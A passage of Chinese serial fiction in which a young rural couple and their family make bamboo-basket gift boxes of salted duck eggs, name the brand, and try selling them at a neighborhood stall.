不说别的，同样是泡盐蛋，明显礼盒包装的更赚钱。
何况这听起来，还是县城独一份了。
“爸这边要是编不完，我可以回去让我爸我哥他们帮忙，他们都会编。”
说话的是白二嫂，她娘家那片竹子多，家里农闲的时候也一直有在做这些。
像是厨房里的刷把、筲箕、筛筛，他老汉儿哥哥些就没有不会的。
只是筐筐、篮子这一类比较经用消耗小，买的也人少，所以做得不多，但肯定是没问题了。
“二嫂，你不说，我们也是要问的。”
白春枝看她二嫂就差拍着胸脯保证了，不由笑了起来，转头又先跟出来听了半截话题的白父说道。
“爸，你这边看看能不能编个小的出来，最好我们今晚就要拿走，明天好给别人看一下了。”
“这么急啊？”
白父本是个慢悠悠的性子，听大女儿这么说，瞬间有了紧迫感，然后默算了下他前两天砍回来的竹子，才点了点头答应下来。
“二嫂这边，麻烦你带个路，我们等下就过去。”
家里有白母在，白春枝不担心，白春芽也留下来帮着摘粽叶，之后再去收鸭蛋，他们这边就不耽误时间，分头去白二嫂娘家了。
来的路上，萧远山已经大致算了下成本，在白家就跟白父讲了篮子按件计数，去白二嫂娘家也一样。
白二嫂娘家姓杨，她三个哥哥不在家，下田去了，但杨老汉在，听完他们说的，直点头说自己能做主，可以做的，绝对能保质保量。
只是杨家这个计件价格得另算了。
16. 竹篮
重新谈价这个，是临时改的主意。
白二嫂爱打包票的性子，估计是跟她爹学的，但杨老汉的确是有真本事的手艺人。
他们到张家，只是稍微提了下，大概是想要什么样的篮子、用来做啥的，杨老汉一下就懂了，转身进柴房拿了几个他之前编的。
“这几个，你们要拿来装鸭蛋的话，肯定是大了。”
杨老汉提的是白春枝她们这几天卖新鲜鸭蛋拎的那种篮子，平时拿来装点什么都方便，放鸡蛋鸭蛋的话，底部垫点麻布就行。
不过用来充当礼盒就不太合适了，它太能装了，也没谁送节礼，一送送上百个蛋了。
而现在的东西大都以实用为主，在造型款式不会花太多心思，特别是随时会用到的东西，经得起时间考验，才是好的。
杨老汉也算是见多识广，猜他们想要的礼盒，不就是送礼的盒子么，多半是只要好看不用考虑其他的，指着几个篮子解释道。
“样式花色这些都可以编的，你们随便挑，只需要定好尺寸就行。”
说到这些，杨老汉其实很有得聊了，白春枝算是看出来了，有点手艺在身上的人，再是沉默的庄稼汉也能侃侃而谈。
杨老汉显然对此多有研究。
花色就不用说了，看个人审美，他详细介绍了每种款式的特点，哪种造型合适编来做什么，连逢场天哪类最受欢迎都毫不保留的讲了。
“那就劳烦您这几个都编小一点。”
白春枝点了几款，编法都不复杂的那种，有十字、斜纹和六角编，看着还挺简约的，然后转头和萧远山商量下，最后定了需要两个规格。
“暂定十二和二十四个的装。”
“没问题没问题。”
篮子越小花费的时间越短，虽然做工上要求会更精细一点，但杨老汉不觉得有什么难度，何况他编不完，还有他三个儿子了。
“要是速度快的话，我们晚上临走前再过来一趟，看能不能拿走一两个，好明天做出个样来。”
“可以的，我屋头平时都备有竹篾，没事就编一下，最近还染了一些竹丝晾起的，先给你们用。”
杨老汉卖这些编织品，也是周围有名的，但一般都是提前做好拿出去摆摊，少有来他这儿订货的，何况又是女儿带来的亲家生意，当然以白家的为主了。
“好好！”
瞧杨老汉这么耿直，白春枝和萧远山怎么好不提价呢？
按做工难易程度，一个款一个价格，都是计件算。
谈好了，萧远山也给了一点定金。
虽然杨老汉一直在推拒，说竹子些不值多少，但总得花费点心神了，他们得按规矩来。
回到白家，白母她们分两头洗完粽叶和收鸭蛋的几人也都回来了，连稻草都一并备齐了。
几人一边整理收回来的东西，一边不自觉盯着看了会儿白父编篮子。
这么对比下来，白春枝很明显能看出谁是业余选手了，自家是连干活儿的工具都没杨家齐全。
还好，白父选择的款式和花色都比较简单，最基础的三角编，而这也能最快看到效果了。
差不多成型就是一个长方形的筐，还是没有盖子的那种。
“爸，你这个上面盖盖子，还是加提手？”
白春枝目测了下筐的大小，预计能放几个鸭蛋，同时也在考虑要怎么封装了。
“提手吧？”白父拿着几根长竹篾比划了下，“你加了盖子，不还是要有提的才方便么？”
“那就不弄那么复杂。”
白春枝点点头，反正也是看最终的成品。
说完，她这才注意到，白父是一手老茧直接开编，虽然竹篾已经尽可能的刮掉了毛刺，但过程中的弯曲变形，不可避免还是会有一些冒出来，且竹片边缘都挺锋利的。
“做好了，边边拿布包一下是不是更好？”
“这个啊？”白父手一顿，想到有些放在屋头用的篮子，是有人比较爱惜会那么做了，随即点了点头，“可以。”
再想到女儿女婿做这篮子是要拿来当礼送的，白父想了想又提议，其实完全可以换成藤编、或者草编的。
“这野青藤，我们本地也有，只是藤编的工艺更复杂，光是处理藤藤就有十几二十道工序了。”白父说着一抬头，见几人都转过来盯着他，乐呵呵地摇头笑道，“你们老汉我还不会咯！”
“爸，还有你不会的啊？”
白春芽笑道，老爹平时话不多，就爱钻研这些了。
“嘿，你还不信了，人家一代代传下来手艺，靠的就是那门活路吃饭了。”白父继续摇头，“你以为随便看两眼都会啦？”
“哦哦，我想起来了，就是藤椅那种是吧？”
听着妹妹和老父亲开玩笑，白春枝慢半拍的将白父讲的藤编对上了号。
确实，藤编的话，藤条是剥皮取中间的藤芯，这东西有韧性又光滑，编出来的东西也好看。
“是的嘛，不过藤编的肯定比竹子的贵，要是把这换成草编呢，晓得要得不，你装鸭蛋要承重的哇，就怕不紧实提烂了。”
白父手上边灵巧的编着，低头边自说自话，又慢吞吞的否定了藤编和草编，转而遗憾道。
“就是你选的这个时间点不太对，要不然收点玉米皮皮也可以的，我看原来方大娘她们编的垫子啊、扇子那些，还用得上好。”
“……”
草编的，白春枝印象中就是草帽和草鞋，倒是玉米皮，有点启发了她，这东西白净，因为编织得细密，轻巧又结实。
“那老汉你今年收玉米，帮我留意到，到时候我们多收点，明年用也是一样。”
白春枝这话，让在场的几人都笑了，也是，尽管还没开始卖礼盒，但大家是比较看好的。
聊到这儿，白春枝就准备和萧远山再出一趟了。
她打算找点麻绳、红纸，既然想要把这个礼盒做好，自然要尽可能多装饰一下了，布的话，只有到供销社买了。
“家里的文房四宝还能用么？”
坐上牛车，白春枝想起一些茶叶包、糕点的包装，他们也得在上面写字了，虽然现在油印的比较多，但礼盒刚起步倒不必那么高的要求了，先自己手写好了。
“应该能行吧……”
家里的那套老古董，依旧是老爷子偷摸收的，只是那玩意儿在萧家基本上没人用，萧远山和白春枝现在可都是学着写硬笔字，要不是这次搬家，估计还在吃灰了。
“那回去翻一下看看能用不。”
白春枝尽量回忆着上一世有幸见过那些丫鬟小厮给贵人采买时，手里大包小包拎的
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东西，然后又问道。
“我们是不是也得想个名字，像哪些老字号，一听就知道是卖什么的？”
“这个是得好好考虑一下。”
经小娘子这一提醒，萧远山也想起了这几天一直被他耽搁的一件事。
他是听那些客商说过的，现在的小买卖算个体经营，得去□□了，像他们一车一车的货运回去卖，都是有许可证的，不然再是会找销售渠道，别人也不信你。
他自己要继续收山货的话，虽说其实就是倒一手还是卖给客商，但也该把证件办齐了，这样才好放开手去干。
今天确定能做礼盒这门生意了，刚好一起把该办的都办好。
“……”
白春枝还不知道自家夫君已经想得更远了。
她一连念叨了好几个名字，都感觉有点文绉绉的，不够朗朗上口，想要让大家快速接受一个“新东西”，就得直白点儿，何况是从别人兜里掏钱了，更得简单明了，要人一眼便知道你要卖什么。
小夫妻一路各自琢磨着生意经。
他们先来到村头吴阿婆家，老太太搓麻绳是把好手。
原来他们这儿每个生产队还有种麻指标，交完剩下的每家每户都分点，所以，家家户户倒是都会，但搓麻是个辛苦活儿，像吴阿婆长期做的，手指关节都变形了。
现在工业发展起来后，要用麻绳的地方少了，搓麻绳的人自然也少。
夫妻俩是一颗皂角树下找到的老太太。
吴阿婆看着得有七十多了，但她耳朵还挺好的，坐在树下，一边听八卦一边搓绳，也是她最先发现小夫妻的。
“春枝啊，听说你们搬到镇上去了的哇，今天咋回来了？”
吴阿婆一招呼，刚还在热聊的几个婆婆大娘一个个都看了过来。
白春枝和萧远山挨个儿问好，然后也没避着人，向吴阿婆说明了他们要买点麻绳的事。
“嗨呀，你们是做大生意的，听说你老娘子还在收鸭蛋啊，我屋头还有鸡蛋了，你们要不要？”
“就是啊，我今年还多养了两只鹅，镇上的人喜不喜欢吃鹅啊、鹅蛋呢，大个得很哦？”
“嚯哟，你那两只鹅不是宝贝得很的嘛，这下舍得卖了哦？”
“嘿，这会儿才上半年的，买的脱哇，我又再喂嘛，反正离过年还早。”
“……”
几人你一嘴我一嘴的，不等白春枝回话，自己又聊起了，吴阿婆倒是片刻不耽误的把他们要的麻绳捆好了。
最后，白春枝和萧远山也收获颇丰。
不仅收了两只大鹅、一筐鸡蛋，就是还准备另找的红纸也不用跑了，这些大娘们的手工活不少，过年还剪窗花了，都还剩了点纸，一起给他们了。
“嘎嘎！嘎！”
“还好我们是赶了车来的，下次出去要多放一个筐了。”
按住已经被套了麻袋，仍不死心在乱动的大鹅，白春枝再瞧满满一车的东西，着实有点好笑，看向萧远山，也算明白他每次收山货为什么总是能带些别的回来了，大娘们太热情了，都在卖力推销自家的。
好在都是真资格的农家土货，客商们都挺喜欢的，卖不完的话，一些新开的小餐馆也会收。
晚霞慢慢爬上来，夫妻俩不敢再耽搁了忙赶着牛车往回去了。
17. 成品
小夫妻先去接了老爷子。
在村里住了这么些年，哪怕是外来户，老爷子也是有三五个至交好友的，这不，从李大爷家出来，还拎了一袋子东西。
“您这，装了一袋子什么啊？”
白春枝见老爷子扛了大麻袋是一点不输他们的那个，不由好奇的问道。
“走了走了，不送了哈！”
老爷子乐呵呵的跟老友挥了挥手，让他们别送了，有孙子在，将袋子递给了萧远山才转头跟孙媳妇解释。
“这是你李大爷给我们的菜。”
萧家也有点自留地，各种蔬菜都种了点，田坎边还种了几棵栀子花了。
这个时节，五六月爬架子的藤已经结不少豇豆，往年间，白春枝还会晒点来泡，这段时间忙着包粽子，加上搬到镇上去了，她都给忘了。
不过这事老爷子可一点没忘的。
老爷子这趟要求回来就是为了家里自留地的事。
他先领着老友去田里摘了半袋豇豆，这玩意儿不管是新鲜的、还是晒了做成泡豇豆，都挺能放的，剩下来不及的也跟李大爷说了，有谁要的让他们自己去田里折。
礼尚往来，李大爷知道他们在镇里住着吃点新鲜菜不容易，家里结的丝瓜、黄瓜、四季豆都装了点。
“嘎嘎——”
走近牛车，老爷子就看到那板上也是一大包，本来还想问小两口，听见鹅叫，神情瞬间愉悦了起来。
这是肉菜都有了，就差二两小酒了！
白春枝最后坐上车，日头西晒，她让萧远山赶紧赶车了，他们还得接着去白家和杨家。
等他们到的时候，白父已经做好了先前白母要求的大篮子和白春枝要的小篮子，正在动手编第二个小尺寸。
白春枝看了看准备把两个都带走，后续鸭蛋好了捞出来的肯定不少，反正大的那个也是老娘要来装蛋的，她先拿过去用好了。
“诶，你们在家吃饭不，这会儿我都在煮饭了。”白母拴着围腰出来留他们，又越过白春枝朝外面望了望，“你问一下亲家公呢？”
“算了吧？”白春枝指着一车的东西，摇了摇头，“我们先回去好了，一会儿还得托两坛子鸭蛋，早点走，不然夜路不好走。”
“行，先前那批盐蛋你直接洗出来，差不多可以了。”
白母也不多留他们，将坛子给搬了上去，叮嘱着白春枝。
这礼盒生意算是时间正好，要再早点他们都拿不出好的盐蛋来，正好给明年打了个样。
夫妻俩没敢多留，粽叶子也一起装好了，就往杨家赶去。
杨家这边速度也快，原本只是杨老汉在编的，地里活不多，他家老大老二回来了也在帮忙。
白春枝他们过来时已经有三个成品了，不同的样式，并且质量还挺高了。
因为竹篾劈得薄，细节处理上，杨家父子也明显比白父要有经验些，三个小篮子整体看起来格外的精致。
白春枝仔细检查了下，这三个都不需要她再包边了，装上稻草就可以放鸭蛋了，最后封上红纸，跟她想的礼盒完全一样。
“那麻烦按我们说好的数量跟到做哈！”
“好的好的，没问题。”
和杨老汉约好萧远山后面来取篮子的时间，一行人便乘着夜色往回赶。
到家后，萧远山做饭，白春枝立即把鸭蛋洗出来晾着。
白父编的那个，白春枝没来得及去供销社买布料，不过她攒的布头子倒是够多，选了几块小碎花，裁剪拼接锁边后，整体效果一下子就出来了，完全不输另外三个的，看起来还是不同的风格呢！
“看着就很不一样，估计会喜欢这两种的人也不一样。”
萧远山将饭菜端上桌，正在剪稻草的白春枝只好先收拾，就差放鸭蛋了，她很是满意的欣赏了下，不禁再次点点头感叹道。
白春枝按自己的想法的话，感觉年轻的妇人应该会选她包过边的那个。
“你这么一弄，应该是挺受老太太们的欢迎，她们可能以为买鸭蛋送筐了。”
萧远山心思没小娘子的细腻，可看她花那么功夫在礼盒上，他甚至觉得这里头要只装鸭蛋似乎都有些过于简单了，配不上她的篮子。
“那，这也算是一种推销方式嘛！”
被夫君说什么受老太太欢迎，白春枝也不在意，能多卖出去礼盒才是要紧的。
今天的晚饭比较简单。
萧远山煮了一锅沥米饭，炒了两个素菜，炝炒土豆丝和醋溜白菜，一个蒸蛋和一道番茄蛋汤。
白春枝还挺喜欢那个番茄了，他们原来都没吃过，红红像果子一样，酸酸甜甜的味道很好。
最近也是太忙了，要不她下午怎么都得弄个糖渍番茄，放井里冰一下更好吃。
结果萧远山这顿饭，被老爷子给呲了，说他土豆丝切得太粗、炒太硬，白菜又醋放多了、酸得要命，要不是有个蒸蛋和汤，他都吃不下饭。
等老爷子放下筷子离桌，白春枝默默给萧远山夹了一筷子白菜，用眼神示意夫君可得好好练练厨艺了，她后面可有得忙呢！
萧远山又添了一碗米饭光盘了所有菜，收了桌子，夫妻俩一块儿打包鸭蛋。
有碎稻草打底，盐蛋一个个像是进了被窝，稳稳躺在里头不动了。
不过有这个也不能完全确保运输时不会被磕着碰着，保险起见，萧远山又削了几根小木棍，扎成隔断，让鸭蛋都乖乖的立着，大篮子放两层也没问题，看起来就很牢固。
盖上盖子，一个礼盒就成了。
“现在就要贴红纸吗？”
萧远山将裁剪好的纸拿出来在篮子四周比划了下，有了红色的点缀，整个看起来更像是那种售卖的商品。
“对！”白春枝答得干脆，跟着夫君的动作，在篮子和红纸来回看了下，又后知后觉地想起一个问题，“我们取个什么名好呢？”
“……”
没听到夫君的回答，白春枝转而想起原来五行八作有名的各种“斋”、“坊”、“堂”，嘴里念叨下，又一个个的否定了，感觉那些名头都太大了，有点不敢用。
而寓意比较的字号，像是“丰”、“泰”、“恒”、“昌”，配他们这个盐蛋生意，也有那么点过了。
“福禄寿喜财呢？”
想了半天，也没想到合适的，白春枝试探着不太靠谱的提了几个吉祥寓意的词。
“福、禄、寿、喜、财？”
萧远山听到小娘子一口气说了五个好词，抬头再看了她时，嘴边不禁扬起一抹笑意，倒是刚好够这五个篮子分了。<
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白春枝见夫君指着篮子一个字一个字的对着，也没说行不行，模样像是在思考什么重要的问题，她偷偷吐了吐舌头，忽然也觉得自己刚刚是在打胡乱说了。
默默摆摆手，不敢瞎指挥了，白春枝想了想起身去熬浆糊。
这个难题就丢给夫君吧！
等白春枝从灶房出来，端着热乎的浆糊，萧远山将那根保存得挺好的墨条已经研磨出了些许墨汁，只是依旧没想好该怎么动笔。
“要不——”
白春枝放下小碗，正想开口提醒夫君要不先随便写两个字看看效果好了，没想到萧远山闻声抬头盯着她瞧了好一会儿，又忽然转身开始提笔。
红纸方方正正的一块，铺成尖角朝上，果然是没想好取什么名，白春枝见他像是写对联似的，只在中间写了一个大大的“福”。
不等墨迹干完，他又蘸了蘸墨，在空白处，先是随意地画了几根枝丫，紧接着，下面是绵延的群山。
“诶？”
这回不用萧远山多解释，白春枝叶自己就看懂了，这是代表他们俩的名字——春枝和远山。
“那就取个……”以他们的名字来命名的话，白春枝不确定的开口，“山枝轩？”
“‘山、枝、轩’，不错。”
萧远山不自觉的多念了两遍，还行，不算多拗口，点了点头，抬手蘸墨在顶头写下了这三个字。
“……”
瞧夫君都不待多考虑下就这么略显仓促的定了，白春枝不禁怀疑，这是不是有点过于随意了？
可想想，似乎又挑不出什么错来。
没等白春枝再说点什么可行性的意见，萧远山观摩了片刻，又俯身在“福”下面加了“盐蛋”两个字，注明这一篮子到底是什么东西。
“这个好诶！”
看到末尾添加的注解，白春枝觉得更像那么回事了。
等了一会儿，白春枝见墨完全干了，将红纸拿起来看了看，又再五个篮子盖上比划了下，红黑的配色倒是一点不突兀的。
于是，她把红纸翻了个面，用刷子在上面涂了一层薄薄的浆糊，然后小心翼翼的对齐篮身和盖子贴了上去。
“呼呼！”
轻吹了两下，见浆糊差不多牢固了，白春枝立即拉着夫君站远了些，好好来欣赏了下他们这礼盒。
“瞧着挺像那么回事哦？”
白春枝边欣赏边点头，在她看来，他们这礼盒可一点不输百货大楼那玻璃柜上陈列的商品了。
百货大楼就算是白春枝认知里特别好的地方了，比供销社的东西要齐全，且里面商品来自全国各地，他们这个盐蛋礼盒不知道以后有没有机会摆上去呢？
萧远山倒不知道小娘子是比他更敢想的，开始幻想着有一天能进百货大楼了，他计划起了明天先去办各种手续，再去找客商们看样。
而有了第一个的打样，剩下那四个篮子贴红纸就更顺利了。
小夫妻俩商量着来，一张一张的改进，“盐蛋”字样写得更大了，再画上几个鸭蛋，很是和谐。
当然了，“山枝轩”三个字可没丢，这个名号也很自然的融入了进去，让人一看就是知道是哪家的盐蛋。
最后，连白母那天泡的盐蛋也记录上了，很是正规的样子。
18. 天价
第二天，因着心里装了事，夫妻俩早早的起来了。
吃过早饭，萧远山本想将五个礼盒都拿走，不过白春枝准备留了一个，剩下的让他全带给客商们看看。
牛车昨晚是赶了回来，白春枝便没多等妹妹来，自己先弄着，但显然白春芽也是心急的，她才将东西拎到门口，那头人就来了。
“你怎么来的，走路啊？”
太阳刚出来不久倒不算太热，可这一大早就这么走过来，也是够累了，白春枝拉过妹妹忙问道。
“没，搭的大队上的车。”
见姐姐一脸的关心，白春芽赶紧摇头解释道。
大队上是有车的，当初就是为了“鸟枪换炮”要买拖拉机了，村里才准备把牛车淘汰掉，最后让萧家给拿下了，有了那么个大件的。
白母则是早早有计划的，昨晚上就跑了趟村头提前跟人讲了白春芽要搭车。
白春枝听完笑着点头，白母不愧是铁娘子，什么事都给安排得稳稳妥妥。
姐妹俩边聊边干活，同之前一样，包粽子的时候，煮上一锅鹌鹑蛋，再卖点粽叶、盐蛋，只是这两样，她们现在都开始有默契地减了量。
不仅是因为要给礼盒留出不少盐蛋来，关键是，粽叶和粽子不再是她们的独家生意了。
这几天已经有人像往年一般赶在端午前，挑着两筐粽叶和粽子来镇上卖的。
白春芽来的时候还特别留意下，集市、路边都有看到好几个别村的人，大致数了数，摆摊儿的数量比她们昨天看到的还多。
越是临近过节，竞争也越大，粽叶和艾草这两样新鲜叶子不像是盐蛋可以多放放，姐妹俩便不打算多淘神了，随缘做点邻里生意。
有礼盒这个新主意在前面吊着，两人心态都还不错，根本没为今天可能没生意而发愁。
锅碗瓢盆摆出来了，在准备坐下来包粽子前，白春枝没忘记她包了小碎花边的礼盒篮子，专门拿了个小凳子，将主角放在了门口最显眼的位置。
“哇，这篮子包边后更好看了诶！”
白春芽在姐姐把篮子拎出来这一刻才算见到了礼盒的最终模样，立即被吸引了。
她不意外篮子封口处贴上的红纸，只凑近，白春芽才看清上面写上字画上图，不自觉地小声念了念，还真是让人一眼认出他们卖的是盐蛋呢！
很有供销社货架上，那种商品的正式感。
白春芽忍不住上手掂量了一下，感受着礼盒的分量，忽然觉得，姐夫开那么高的价格，似乎也不亏。
何况，他们还送篮子了。
经姐姐的那双巧手，白春芽算是懂行的，知道其实细看下就单是多了一圈碎花包边而已，但她是见过老爹刚编好的篮子，现在这礼盒整个感觉、档次完全不一样了。
要是她的话，吃完里面的东西，篮子肯定是得留下的。
这么想着，白春芽又拎起礼盒看了又来看，还不断点着头，像是已经在思考拿来装什么好了。
“真的还可以么？”
白春枝瞧着妹妹眼中满意的神色不像假的，但她还是有点担心是自家人的自夸了。
“当然了！”
白春芽自信的点头，说着小心地把礼盒放好，转头又冲着姐姐一笑道。
“不信你看吧，我有预感，这个礼盒今天就能卖出去！”
“……”白春枝笑看着白春芽，只当是妹妹在哄自己了。
事实证明，还真有跟白春芽想法一样的。
巷子随赶早的邻里们陆续出门，渐渐热闹了起来，白春枝她们这儿因茶叶鹌鹑蛋的香味渐渐飘出，很容易让人驻足、顺便偏过头来瞧上一眼。
今天又多了一个漂亮的篮子摆在中间，原本不打算买粽子的婆婆大娘们在好奇心驱使下，也愿意多走两步上台阶来看看了。
“妹儿啊，你们这是又弄新东西呀！”
“嗨哟，方方正正的盒子一样，还怪好看的哇！”
“像百货大楼里头的东西。”
“……”
“诶，这里头就是端午的鸭蛋啊！”
大娘们七嘴八舌的说着，终于有人凑近，眼睛格外好使的看到上面又是画又是写的，然后八九不离十的猜出里面是什么了。
“嚯哟，包得这么巴适，端午哪怕只送点盐蛋，提去也好行式哦！”
“那肯定哇！”
“这好有面子哟！”
“……”
婆婆大娘们十几年的饭可不是白吃的，很是有见识的，都不需要打开看，就将礼盒的东西猜得八九不离十了。
白春枝和妹妹对视一眼，转头冲大家笑着点头。
看来，他们礼盒的包装还是很成功的，至少一样就能让人认出来卖的是什么。
“呀，那妹儿啊，你们这一盒鸭蛋要卖好多哇？”
“嗨哟哟，老李啊，你屋头要送哪个哦，买这么好的礼。”
这么快就有人有意向购买了，速度实在有些震惊到了两姐妹，白春枝率先反应过来，回答了价格。
“啥！六块六？！”
问价的大娘还没说什么，旁边就已经有人惊呼出来，最后一个字险些破音，吓得两姐妹都不敢再详细介绍了。
要知道，这条巷子是镇上的老街，住的都是本地老住户，在场的几个老太太，别看一个个只是每天接送末末孙孙的，顺带逛逛菜市场的。
哪家又没那么一两个吃公家饭端铁饭碗的呢？
只是很现实的，镇上虽然让乡下羡慕，但不论是干部还是工人，一个月工资多少却也是明摆着的，何况，一家子的吃穿住行，样样都要花钱。
也没谁会为了送个节礼，花上十分之一的工资吧？
眼下这篮子，叫什么礼盒的，瞧着是挺新奇，可大小尺寸就摆在那儿了，鸭蛋的个头一般是会比鸡蛋大，但里头塞满了也顶多十几个，撑死了有两斤。
而一斤新鲜鸡蛋都才块儿八毛的，哪怕这泡好盐蛋费点功夫要贵点，这一个礼盒的价格也是翻了一倍不止。
婆婆大娘们或许大字不识一个，但买菜的心算却是不差的，心里大致默一遍，就将这礼盒的成本猜得七七八八了。
大伙儿你一言我一语的就这盐蛋的价格，议论不停，也根本没避着姐妹俩。
主要大家都觉得自己讲得是实话了，因此格外的理直气壮，嗓门儿完全没控制的。
白春枝她们这门口的小摊位，快赶上菜市场那么热闹了。
最后，问过价的李大娘不好意思的朝两姐妹笑笑，也不好当着大家面再继续了解什么了。
这么个“天价”盐蛋礼盒的出现，着实也给一帮老太太们增添了不少谈资，要不是孙孙们上托儿所要晚了，还有人不想走的，准备来看看到底有没有人会买。
等人都走了，
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白春芽立即表示出了担忧，听了半天，她也觉得大娘们讲得很在理，这礼盒的价格，对附近的邻居来说，是太贵了。
“别担心，你想想，一开始你姐夫是打算卖给谁的？”
白春枝摆摆手继续坐下来包粽子，抬眼提醒妹妹一句，他们的初衷可不是全指望卖给邻里了。
不同的东西不同的价格，就有不一样的客人。
说到这儿，白春枝就想起了从前来──
家里虽然几代都是猎户，以打猎为生，可每回进山能打到什么，或是挖到点啥好货，都是说不准的。
一般的皮子，处理好了能直接就近销掉，要是哪天运气好，猎到点儿稀罕货了，不用说，深山的老猎户，那也是有点门路的。
白春枝原来跟着萧远山去过镇上，也做过一回这样的买卖。
还记得那时，他们敲开的是大户人家后院的一道偏门，因着萧远山并不是头次来，总体还算顺利，门开了说明了缘由就有人愿意接待俩人。
小厮没多说什么就将东西拿了进去，然后来来回回跑了两趟，全程根本不需要小夫妻见到正主，便把那上好的狐狸皮卖了个不错的价格。
来到这里后，白春枝近几年听广播的得来的认知，知道虽然如今时代是不同了，但不论哪个时候，总有跑在前头的人。
而这礼盒，外地客商既然提出来并且见过，那肯定是有它的受众了，只是销路他们还得再找找。
现在就当是在巷子里试试水。
不说真能立刻打开销路，但名气总能有点吧？
没见那些婆婆大娘们一个个尽管都被价格吓到，完全不会掏钱的样子，可对新鲜事的热情却一点不低的。
瞧刚刚她们讨论的多起劲儿啊，自己这卖盐蛋礼盒的消息不就这么一会儿的功夫便传出去了么！
白春枝的这套理论，瞬间说服了白春芽，见妹妹不再丧气，两姐妹继续手上的活儿。
新鲜粽叶有竞争了可能不太好卖，但煮熟的粽子却是能当早饭、主食了，旁人想要做这门生意，还没的这样便利了。
粽子出锅，茶叶鹌鹑蛋味儿中混着清香，没一会儿，白春枝等来了常买熟粽子的母子俩。
“阿姨早上好！”
小豆丁被教得很有礼貌，跟着妈妈有模有样的同白家姐妹问好。
“你好呀，小乖乖！”
白春枝今天包里是揣了糖的，招呼的时候连忙摸了两颗递了过去。
“来，阿姨请你吃糖。”
她拿的是一种长条状的薄荷糖??，这是最近新出的，不像原来那种白色的小方块??，翠绿翠绿的颜色很好看。
“……”
不过小孩儿到底是面浅，尽管很好奇阿姨手上的东西，踮着脚尖伸头在看了却不敢上前，过了会儿才犹豫着转头，然后眼巴巴的望着他妈妈??。
“拿着吧！”
谁能拒绝这么一个小可爱呢，孩子妈妈朝白春枝感激一笑，才对儿子点点头，同时，还不忘出题考考孩子。
“知道该跟阿姨说什么吗？”
“谢谢阿姨。”
如愿捧起薄荷糖，小豆丁差点双手作揖了，抬起小脸认真的对白春枝道谢。
这礼貌用语，一看就是家里经常在教的。
“哎哟，真乖！”
小小的人，还格外的讲礼了，看得白春枝心都化了。
19. 宣传
今天母子俩出门早不太赶时间，在白家姐妹给他们打包粽子时，小豆丁妈妈还主动跟她们闲聊了起来。
白春枝这才知道，这位年轻妈妈叫姜淑云。
而他们家，还真就只有三口人。
在白春枝适时地抬头表示惊讶后，姜淑云许是觉得姐妹俩挺投缘了，又介绍了下自家的具体情况。
这也是她为什么总带孩子在外面买早饭了。
姜淑云随丈夫工作调动过来，其实他们一家也才刚搬来不久，她的新工作倒不算太忙，大致能兼顾家庭和事业。
只是完全没有长辈帮衬的小家庭，在一些生活细节上就显得没那么游刃有余了。
“哎哟、特别是这每天一大早上啊，跟打仗似的。”
姜淑云叹息了一声，再瞧对面心灵手巧的两姐妹，她自己都笑了。
“我呢，本就不擅长做饭，等把孩子弄起来，我也得赶着上班了，完全没时间的，孩子爸爸不忙的时候，还能提前做好了，要我自己的话，肯定更是是手忙脚乱。”
“那倒是，早上时间紧。”
白春枝她们在这摆了一段时间的摊儿了，每天早上最不缺的就是匆匆忙忙的上班上学的大人小孩儿了。
“说起这个，前两日我们还瞧见一个孩子上学忘了书包，家长在屁股后面追，愣是喊了半条巷子才把熊孩子给叫住了。”
白春芽一想到当时那个场景，又忍不住摇摇头。
“这要是在我们村里，那不更得鸡飞狗跳了！”
“哈哈哈哈都一样都一样。”
姜淑云家的小豆丁才上托儿所，有个小书包也不过是装了一两件换洗的衣服裤子和水壶，听白春芽那有趣的描述，乐得直笑。
不知道这戏码以后会不会自家上演了。
玩笑两句，白春枝已经给母子俩在饭盒里装好了粽子和鹌鹑蛋，姜淑云在付钱时，自然注意到了那个特别的篮子，就顺嘴问了句。
“那是新做的盐蛋礼盒，里面有十二枚盐蛋，端午要送节礼的话，直接拎一篮比较方便。”
“啊，这还挺新奇呢！”
姜淑云看那篮子包得那么漂亮，瞧着还挺结实的样子，没想到仅仅是用来送礼的。
这么一对比，瞬间感觉以前那些饼干盒子、糖果、罐头什么的，都不如盐蛋礼盒别致了。
抬腕看了眼手表，时间有点来不及了，姜淑云没再多了解，装上饭盒便同白家两姐妹告辞。
“……”
等一大一小走远了，白春芽还在不断张望，有些遗憾，没能多给姜淑云介绍两句他们的礼盒。
关键是，她姐连价格都没讲啊！
“姐，你也是怕说了价格，把淑云姐吓跑么？”
“这都，什么跟什么呀——”
瞧妹妹明显是把刚那些婆婆大娘们的话，记在心里了，白春枝有些无奈，这出师不利的影响，还真是大啊。
白春枝在心里组织了下语言，准备把自己对于他们这个礼盒如何推出去的法子，再好好跟妹妹讲讲。
其实还是他们从前卖货的经验了。
与萧远山卖猎物同理，白春枝会的女红、采的山货，怎么卖，也得分情况、分人的。
就她的手艺来说，当然不会自信到冒失的跑大家闺秀面前献丑了，有秀娘做对比，除非有新花样，否则只得找专门收手帕、香囊的店家。
卖山货的话，也没旁的门路，不是采买婆子、就是酒楼，但白春枝通常会在晾晒前再仔细整理一遍，将品相好的捡出来，这也是能多买几个铜钱的法子。
以上两条，按他们现在的情况，可不就是寻求不同的买主，给他们按需推荐相应的节礼么？
针对礼盒这种大头，价位还可以更细致些，像他们分了：六块六、八块八、十二块八，也是为此做准备了。
类似品相的分类，能向上兼容更高质量的客户。
而在跟人交流这层呢，也是有那么一点小技巧的。
村里人进城，最怕被人看不起，他们原来作为连田地都没有猎户更甚，且经商还是末流。
不过买卖关系不是其他，关键还是得看货品的好坏了。
上乘好货，从来不缺识货之人，不愁没买主。
所以，哪怕是见着达官贵人都不必过于谄媚的，重要的是为其介绍。
如今这个好时代，没有谁要低谁一等的说法，白春枝就更愿意将自己的经验之谈分享给妹妹了。
商人也仅仅是一种职业，靠双手吃饭，就不丢人。
“像姜淑云这样的，确实是我们想要找的那一类买主了。”
白春枝先肯定了妹妹打算把礼盒卖给姜淑云的想法，这个方向是对的。
“双职工家庭有两份收入，且他们只有一个上托儿所的小孩儿，日常开销小，平日还舍得花钱改善生活。”
“是啊！”听姐姐这么分析了一下，白春芽又有信心了，“淑云姐肯定不会觉得咱们的礼盒贵。”
“对，只要他们有端午送节礼的需要，第一个想到的就是买咱们的礼盒了。”
“那你刚还不给她多介绍两句……”
这人都走了，白春芽还是觉得有点可惜，忍不住又嘟囔道。
“这个嘛——”
白春枝点点头，又换了个角度解释道。
“你想，要是你本来只是准备买粽子的，卖家却一直和你讲盐蛋，说多了还耽误你上班，下回你真要买盐蛋时，想起这次会不会有点印象不好？”
“啊……”
白春芽从来没想过事情还有这种发展的可能性。
